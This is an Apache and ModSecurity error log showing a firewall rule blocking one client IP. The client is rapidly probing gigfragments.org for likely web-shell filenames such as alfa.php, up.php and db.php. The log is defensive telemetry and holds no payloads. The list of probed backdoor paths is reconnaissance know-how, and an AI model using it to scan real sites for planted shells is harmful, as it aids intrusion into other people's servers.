[Fri Feb 27 23:41:52.656234 2026] [:error] [pid 52073:tid 52077] [client 52.138.25.109:39911] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/data.php"] [unique_id "aaG7QIa650YPyxXVeRbjGwAAAYE"]
[Fri Feb 27 23:41:53.120576 2026] [:error] [pid 54231:tid 54235] [client 52.138.25.109:39916] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/data.php"] [unique_id "aaG7QeTvb5AeyJCdY7BO2AAAAEE"]
[Fri Feb 27 23:41:53.600436 2026] [:error] [pid 52073:tid 52090] [client 52.138.25.109:39857] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/data.php"] [unique_id "aaG7QYa650YPyxXVeRbjIAAAAY4"]
[Fri Feb 27 23:41:54.067615 2026] [:error] [pid 54231:tid 54239] [client 52.138.25.109:39764] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaG7QuTvb5AeyJCdY7BO3AAAAEU"]
[Fri Feb 27 23:41:54.540188 2026] [:error] [pid 52073:tid 52076] [client 52.138.25.109:39832] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaG7Qoa650YPyxXVeRbjKAAAAYA"]
[Fri Feb 27 23:41:55.018074 2026] [:error] [pid 52073:tid 52094] [client 52.138.25.109:39803] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaG7Q4a650YPyxXVeRbjLAAAAZI"]
[Fri Feb 27 23:41:55.487886 2026] [:error] [pid 54231:tid 54249] [client 52.138.25.109:39830] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aaG7Q-Tvb5AeyJCdY7BO3wAAAE8"]
[Fri Feb 27 23:41:55.962305 2026] [:error] [pid 54101:tid 54124] [client 52.138.25.109:39906] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aaG7Q1Y5qgRktcYTGFtjmgAAAdA"]
[Fri Feb 27 23:41:56.434485 2026] [:error] [pid 54103:tid 54189] [client 52.138.25.109:39825] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aaG7ROvG4MPCmE0B2sDViwAAANI"]
[Fri Feb 27 23:41:56.897405 2026] [:error] [pid 54101:tid 54120] [client 52.138.25.109:39839] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aaG7RFY5qgRktcYTGFtjnAAAAcw"]
[Fri Feb 27 23:41:57.347622 2026] [:error] [pid 49306:tid 49309] [client 52.138.25.109:39900] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2.php"] [unique_id "aaG7RfnSUDZue59Px9t9ZgAAAUE"]
[Fri Feb 27 23:41:57.805703 2026] [:error] [pid 56075:tid 56077] [client 52.138.25.109:39902] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aaG7RcKBhrfI6KNv9Rh5ZAAAAAA"]
[Fri Feb 27 23:41:58.251226 2026] [:error] [pid 62998:tid 63017] [client 52.138.25.109:39888] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aaG7RlQeueXZDUmoLomTPgAAAQ8"]
[Fri Feb 27 23:41:58.701773 2026] [:error] [pid 62998:tid 63019] [client 52.138.25.109:39837] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aaG7RlQeueXZDUmoLomTQAAAARE"]
[Fri Feb 27 23:41:59.147249 2026] [:error] [pid 62998:tid 63010] [client 52.138.25.109:39809] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aaG7R1QeueXZDUmoLomTQgAAAQg"]
[Fri Feb 27 23:41:59.595173 2026] [:error] [pid 52073:tid 52100] [client 52.138.25.109:39861] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/backup.php"] [unique_id "aaG7R4a650YPyxXVeRbjOAAAAZg"]
[Fri Feb 27 23:42:00.051995 2026] [:error] [pid 49306:tid 49319] [client 52.138.25.109:39750] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/backup.php"] [unique_id "aaG7SPnSUDZue59Px9t9aAAAAUs"]
[Fri Feb 27 23:42:00.501336 2026] [:error] [pid 56075:tid 56101] [client 52.138.25.109:39758] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/backup.php"] [unique_id "aaG7SMKBhrfI6KNv9Rh5dQAAABc"]
[Fri Feb 27 23:42:00.949529 2026] [:error] [pid 52073:tid 52096] [client 52.138.25.109:39829] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/backup.php"] [unique_id "aaG7SIa650YPyxXVeRbjPAAAAZQ"]
[Fri Feb 27 23:42:01.398540 2026] [:error] [pid 56075:tid 56085] [client 52.138.25.109:39817] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaG7ScKBhrfI6KNv9Rh5ewAAAAg"]
[Fri Feb 27 23:42:01.842187 2026] [:error] [pid 56075:tid 56081] [client 52.138.25.109:39882] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaG7ScKBhrfI6KNv9Rh5fQAAAAQ"]
[Fri Feb 27 23:42:02.264525 2026] [:error] [pid 56075:tid 56095] [client 52.138.25.109:39844] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaG7SsKBhrfI6KNv9Rh5ggAAABE"]
[Fri Feb 27 23:42:02.673716 2026] [:error] [pid 56075:tid 56100] [client 52.138.25.109:39761] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aaG7SsKBhrfI6KNv9Rh5hAAAABY"]
[Fri Feb 27 23:42:03.084957 2026] [:error] [pid 56075:tid 56082] [client 52.138.25.109:39804] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aaG7S8KBhrfI6KNv9Rh5iQAAAAU"]
[Fri Feb 27 23:42:03.496449 2026] [:error] [pid 56075:tid 56077] [client 52.138.25.109:39871] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aaG7S8KBhrfI6KNv9Rh5jgAAAAA"]
[Fri Feb 27 23:42:03.905943 2026] [:error] [pid 49306:tid 49328] [client 52.138.25.109:39752] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aaG7S_nSUDZue59Px9t9agAAAVQ"]
[Fri Feb 27 23:42:04.314301 2026] [:error] [pid 49306:tid 49308] [client 52.138.25.109:39841] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aaG7TPnSUDZue59Px9t9bgAAAUA"]
[Fri Feb 27 23:42:04.725095 2026] [:error] [pid 54231:tid 54239] [client 52.138.25.109:39892] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaG7TOTvb5AeyJCdY7BO8gAAAEU"]
[Fri Feb 27 23:42:05.136006 2026] [:error] [pid 49306:tid 49330] [client 52.138.25.109:39777] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaG7TfnSUDZue59Px9t9cAAAAVY"]
[Fri Feb 27 23:42:05.551075 2026] [:error] [pid 49306:tid 49329] [client 52.138.25.109:39786] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaG7TfnSUDZue59Px9t9cQAAAVU"]
[Fri Feb 27 23:42:05.964117 2026] [:error] [pid 49306:tid 49326] [client 52.138.25.109:39933] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aaG7TfnSUDZue59Px9t9cgAAAVI"]
[Fri Feb 27 23:42:06.379273 2026] [:error] [pid 62998:tid 63011] [client 52.138.25.109:39909] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaG7TlQeueXZDUmoLomTSAAAAQk"]
[Fri Feb 27 23:42:06.791955 2026] [:error] [pid 56075:tid 56091] [client 52.138.25.109:39867] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaG7TsKBhrfI6KNv9Rh5lAAAAA0"]
[Fri Feb 27 23:42:07.207185 2026] [:error] [pid 52073:tid 52095] [client 52.138.25.109:39791] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaG7T4a650YPyxXVeRbjSgAAAZM"]
[Fri Feb 27 23:42:07.617833 2026] [:error] [pid 56075:tid 56097] [client 52.138.25.109:39751] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aaG7T8KBhrfI6KNv9Rh5mgAAABM"]
[Fri Feb 27 23:42:08.035429 2026] [:error] [pid 56075:tid 56096] [client 52.138.25.109:39783] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up.php"] [unique_id "aaG7UMKBhrfI6KNv9Rh5ngAAABI"]
[Fri Feb 27 23:42:08.450546 2026] [:error] [pid 52073:tid 52092] [client 52.138.25.109:39836] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up.php"] [unique_id "aaG7UIa650YPyxXVeRbjTgAAAZA"]
[Fri Feb 27 23:42:08.864145 2026] [:error] [pid 52073:tid 52091] [client 52.138.25.109:39756] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up.php"] [unique_id "aaG7UIa650YPyxXVeRbjTwAAAY8"]
[Fri Feb 27 23:42:09.275858 2026] [:error] [pid 49306:tid 49322] [client 52.138.25.109:39781] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up.php"] [unique_id "aaG7UfnSUDZue59Px9t9eAAAAU4"]
[Fri Feb 27 23:42:09.683724 2026] [:error] [pid 56075:tid 56079] [client 52.138.25.109:39893] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aaG7UcKBhrfI6KNv9Rh5ogAAAAI"]
[Fri Feb 27 23:42:10.099916 2026] [:error] [pid 52073:tid 52093] [client 52.138.25.109:39828] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aaG7Uoa650YPyxXVeRbjVQAAAZE"]
[Fri Feb 27 23:42:10.511448 2026] [:error] [pid 56075:tid 56078] [client 52.138.25.109:39925] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aaG7UsKBhrfI6KNv9Rh5qgAAAAE"]
[Fri Feb 27 23:42:10.922695 2026] [:error] [pid 56075:tid 56097] [client 52.138.25.109:39760] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/c.php"] [unique_id "aaG7UsKBhrfI6KNv9Rh5rQAAABM"]
[Fri Feb 27 23:42:11.335823 2026] [:error] [pid 56075:tid 56098] [client 52.138.25.109:39905] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "aaG7U8KBhrfI6KNv9Rh5sQAAABQ"]
[Fri Feb 27 23:42:11.748356 2026] [:error] [pid 52073:tid 52090] [client 52.138.25.109:39858] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "aaG7U4a650YPyxXVeRbjXQAAAY4"]
[Fri Feb 27 23:42:12.186561 2026] [:error] [pid 52073:tid 52091] [client 52.138.25.109:39870] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "aaG7VIa650YPyxXVeRbjYgAAAY8"]
[Fri Feb 27 23:42:12.597864 2026] [:error] [pid 52073:tid 52096] [client 52.138.25.109:39681] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b.php"] [unique_id "aaG7VIa650YPyxXVeRbjYwAAAZQ"]
[Fri Feb 27 23:42:13.007831 2026] [:error] [pid 56075:tid 56094] [client 52.138.25.109:39800] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db.php"] [unique_id "aaG7VcKBhrfI6KNv9Rh5tgAAABA"]
[Fri Feb 27 23:42:13.444725 2026] [:error] [pid 54231:tid 54247] [client 52.138.25.109:39740] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db.php"] [unique_id "aaG7VeTvb5AeyJCdY7BO_wAAAE0"]
[Fri Feb 27 23:42:13.859717 2026] [:error] [pid 49306:tid 49311] [client 52.138.25.109:39866] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db.php"] [unique_id "aaG7VfnSUDZue59Px9t9fgAAAUM"]
[Fri Feb 27 23:42:14.272001 2026] [:error] [pid 49306:tid 49327] [client 52.138.25.109:39746] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/db.php"] [unique_id "aaG7VvnSUDZue59Px9t9fwAAAVM"]
[Fri Feb 27 23:42:14.683989 2026] [:error] [pid 62998:tid 63022] [client 52.138.25.109:39810] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/u.php"] [unique_id "aaG7VlQeueXZDUmoLomTUwAAARQ"]
[Fri Feb 27 23:42:15.096474 2026] [:error] [pid 56075:tid 56079] [client 52.138.25.109:39926] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/u.php"] [unique_id "aaG7V8KBhrfI6KNv9Rh5wQAAAAI"]
[Fri Feb 27 23:42:15.508237 2026] [:error] [pid 56075:tid 56082] [client 52.138.25.109:39782] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/u.php"] [unique_id "aaG7V8KBhrfI6KNv9Rh5xAAAAAU"]
[Fri Feb 27 23:42:15.919094 2026] [:error] [pid 54103:tid 54179] [client 52.138.25.109:39722] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/u.php"] [unique_id "aaG7V-vG4MPCmE0B2sDVmwAAAMg"]
[Fri Feb 27 23:42:16.335232 2026] [:error] [pid 56075:tid 56094] [client 52.138.25.109:39895] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aaG7WMKBhrfI6KNv9Rh5yAAAABA"]
[Fri Feb 27 23:42:16.745084 2026] [:error] [pid 54103:tid 54188] [client 52.138.25.109:39766] [client 52.138.25.109] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aaG7WOvG4MPCmE0B2sDVoAAAANE"]
